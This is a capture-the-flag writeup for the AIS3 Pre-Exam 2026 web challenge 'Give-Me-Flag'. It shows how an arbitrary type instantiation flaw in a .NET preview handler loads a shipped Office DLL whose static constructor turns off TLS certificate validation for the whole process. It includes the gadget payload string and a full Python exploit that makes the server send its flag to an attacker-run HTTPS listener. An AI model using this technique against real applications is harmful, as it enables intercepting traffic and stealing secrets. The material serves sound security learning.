Skip to content
Suzu
6 min read

【Web】AIS3 Pre-Exam 2026 Writeup: Give-Me-Flag

A web writeup for Give-Me-Flag, reversing the .NET service behavior and callback path.

Series
30 posts
View the complete series →
On this page

【AIS3 Pre-Exam 2026 Writeup】Web - Give-Me-Flag

Bundle files first. No source project, only published .NET files.

Dockerfile
docker-compose.yml
publish/GiveMeFlag.dll
publish/Microsoft.Office.Server.Search.Connector.dll
publish/Microsoft.Office.Server.Search.dll
...

docker-compose.yml already gave the first useful clue.

environment:
  FLAG: 'AIS3{fake}'
  Challenge__Host: 'flag-dropbox.givemeflag.internal'
  Challenge__PostPath: '/api/flag'
  Challenge__Port: '443'
  Challenge__TimeoutSeconds: '6'

So the app should send the flag to /api/flag on port 443. The host name is fixed to flag-dropbox.givemeflag.internal.

The binary is .NET, so normal gdb was not the useful tool here. ILSpy made more sense.

ilspycmd -p -o /tmp/givemeflag-decomp publish/GiveMeFlag.dll
ilspycmd -il -o /tmp/givemeflag-ills publish/*.dll

The index page calls FlagDeliveryService.SendAsync. The decompiled code reads the config like this:

_flag = configuration["FLAG"] ?? "AIS3{missing_flag}";
_host = configuration["Challenge:Host"] ?? "flag-dropbox.givemeflag.internal";
_postPath = configuration["Challenge:PostPath"] ?? "/api/flag";
_port = int.TryParse(configuration["Challenge:Port"], out var port) ? port : 443;

The request creation part was more important.

HttpWebRequest request = WebRequest.CreateHttp(endpoint);
request.Method = "POST";
request.Host = _host;
request.ContentType = "application/json";

IL showed the endpoint is built from the submitted IP:

UriBuilder("https", targetIp.ToString(), port)
Path = _postPath

The body is JSON:

{
  "flag": "...",
  "challenge": "GiveMeFlag",
  "sent_at": "..."
}

The input is parsed with IPAddress.TryParse. That means no hostname in the form.

Input.TargetIp -> IPAddress.TryParse(...)

Hostname-only tunnel ideas died here. Cloudflare Tunnel gives a hostname. Some other HTTP tunnel services also only give a hostname. The app wants an IP, so those are not directly usable.

First I tried the most direct path: run an HTTPS listener and submit my IP.

The local test failed before any flag body arrived.

The SSL connection could not be established
The remote certificate is invalid because of errors in the certificate chain: UntrustedRoot

So a self-signed cert is not enough. The server validates TLS.

There is a /Support page. The normal flag form only had the IP field, so this page was worth checking. The preview handler looked strange after decompilation.

CardText = PreviewComponentResolver
    .Create(Preview.Template, Preview.Accent)
    ?.ToString();

PreviewComponentResolver.Create() does this:

public static object? Create(string component, string variant)
{
    return Activator.CreateInstance(
        ResolveComponentType(ParseDescriptor(component, variant))
    );
}

ParseDescriptor() has a metadata syntax with #.

int num = text.IndexOf('#');
if (num >= 0)
{
    metadata = Uri.UnescapeDataString(text.Substring(num + 1));
    text = text.Substring(0, num);
}

Then ResolveComponentType() uses that metadata as a type name.

Type type = Type.GetType(
    !string.IsNullOrWhiteSpace(descriptor.Metadata)
        ? descriptor.Metadata
        : ResolveBuiltInTypeName(descriptor),
    LoadFromApplicationDirectory,
    null,
    true
);

Only a few checks are done:

not abstract
not interface
has public parameterless constructor

After that:

Activator.CreateInstance(type)

That gave an arbitrary type instantiation primitive inside the published app directory. Direct RCE gadgets were my first thought, but I did not find a clean trigger. No obvious command execution type, no path.

The TLS problem was still unsolved, so the next search was certificate validation code inside shipped DLLs.

rg -n "ServerCertificateValidationCallback|ValidateCertificates" /tmp/givemeflag-ills

The search found a better gadget in Microsoft.Office.Server.Search.Connector.dll:

Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility,
Microsoft.Office.Server.Search.Connector

Relevant IL:

.method private hidebysig static bool ValidateCertificates(...) cil managed
{
    IL_0000: ldc.i4.1
    IL_0001: ret
}

.method private hidebysig specialname rtspecialname static void .cctor () cil managed
{
    IL_0000: call ServicePointManager::get_ServerCertificateValidationCallback()
    IL_0006: ldftn ExchangeSystemUtility::ValidateCertificates(...)
    IL_0011: call Delegate::Combine(...)
    IL_001b: call ServicePointManager::set_ServerCertificateValidationCallback(...)
    IL_0020: ret
}

The static constructor adds a callback that always returns true:

ServicePointManager.ServerCertificateValidationCallback += ValidateCertificates;

Process-wide state. If /Support instantiates this type once, later outbound HTTPS requests from the same process accept my self-signed certificate.

The payload for the preview template:

x#Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility, Microsoft.Office.Server.Search.Connector

The x before # is just filler. The type metadata after # is the real payload.

Local fake-flag testing confirmed it. Before the preview payload, HTTPS delivery failed on certificate validation. After the preview payload, the fake flag reached my listener.

Next problem was the callback IP. My public home IP did not receive the connection. NAT killed that idea.

Serveo accepted a reverse TCP-looking command for flag-dropbox.givemeflag.internal:443, but the TLS handshake died before reaching my local listener. No request hit the collector.

localhost.run also did not help. Custom domain needed an account/key. No trigger.

The working path used AIS3 VPN. Windows had this VPN IP:

10.26.1.142

WSL had the actual collector:

172.30.138.254:443

Windows user-mode TCP forwarder:

10.26.1.142:443 -> 172.30.138.254:443

After that, a local curl test to 10.26.1.142:443 reached the WSL HTTPS collector. So the form input should be 10.26.1.142.

Generate a cert:

openssl req -x509 -newkey rsa:2048 -nodes \
  -keyout /tmp/gmf.key \
  -out /tmp/gmf.crt \
  -days 1 \
  -subj '/CN=flag-dropbox.givemeflag.internal'

Full exploit script:

#!/usr/bin/env python3
import os
import re
import ssl
import queue
import subprocess
import threading
import http.server
from pathlib import Path

import requests


TARGET = os.environ.get("TARGET", "http://chals1.ais3.org:31323")
CALLBACK_IP = os.environ.get("CALLBACK_IP", "10.26.1.142")
CERT = Path("/tmp/gmf.crt")
KEY = Path("/tmp/gmf.key")

GADGET = (
    "x#Microsoft.Office.Server.Search.Connector.BDC.Exchange."
    "ExchangeSystemUtility, Microsoft.Office.Server.Search.Connector"
)

got_flag = queue.Queue()


def ensure_cert():
    if CERT.exists() and KEY.exists():
        return
    subprocess.check_call(
        [
            "openssl",
            "req",
            "-x509",
            "-newkey",
            "rsa:2048",
            "-nodes",
            "-keyout",
            str(KEY),
            "-out",
            str(CERT),
            "-days",
            "1",
            "-subj",
            "/CN=flag-dropbox.givemeflag.internal",
        ]
    )


def token(html):
    m = re.search(
        r'name="__RequestVerificationToken"[^>]*value="([^"]+)"',
        html,
    )
    if not m:
        raise RuntimeError("no antiforgery token")
    return m.group(1)


class Handler(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        n = int(self.headers.get("Content-Length", "0") or "0")
        body = self.rfile.read(n)

        print("--- flag request ---", flush=True)
        print(f"{self.client_address} POST {self.path}", flush=True)
        print(str(self.headers), flush=True)
        print(body.decode("utf-8", "replace"), flush=True)

        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"ok\n")
        got_flag.put(body)

    def log_message(self, fmt, *args):
        print("LOG " + fmt % args, flush=True)


def start_collector():
    ensure_cert()
    httpd = http.server.HTTPServer(("0.0.0.0", 443), Handler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(str(CERT), str(KEY))
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)

    th = threading.Thread(target=httpd.serve_forever, daemon=True)
    th.start()
    print("[+] HTTPS collector on 0.0.0.0:443")
    return httpd


def main():
    httpd = start_collector()
    s = requests.Session()

    print("[+] trigger /Support gadget")
    r = s.get(f"{TARGET}/Support", timeout=5)
    r.raise_for_status()
    t = token(r.text)

    r = s.post(
        f"{TARGET}/Support?handler=Preview",
        data={
            "Preview.Template": GADGET,
            "Preview.Accent": "calm",
            "__RequestVerificationToken": t,
        },
        timeout=5,
    )
    r.raise_for_status()

    print("[+] submit callback IP", CALLBACK_IP)
    r = s.get(f"{TARGET}/", timeout=5)
    r.raise_for_status()
    t = token(r.text)

    r = s.post(
        f"{TARGET}/",
        data={
            "Input.TargetIp": CALLBACK_IP,
            "__RequestVerificationToken": t,
        },
        timeout=10,
    )
    r.raise_for_status()

    body = got_flag.get(timeout=15)
    print("[+] received body:")
    print(body.decode("utf-8", "replace"))
    httpd.shutdown()


if __name__ == "__main__":
    main()

Run it after the callback IP can really reach the collector:

CALLBACK_IP=10.26.1.142 python3 exploit.py

The collector received:

POST /api/flag HTTP/1.1
Host: flag-dropbox.givemeflag.internal
Content-Type: application/json

Body:

{
  "flag": "AIS3{c_5h4rp_c0n57ruc70r_p0llu710n_240f779e9caa40acaabdc8b5a66d465b}",
  "challenge": "GiveMeFlag",
  "sent_at": "2026-05-16T21:49:37.7457041+00:00"
}

Share this page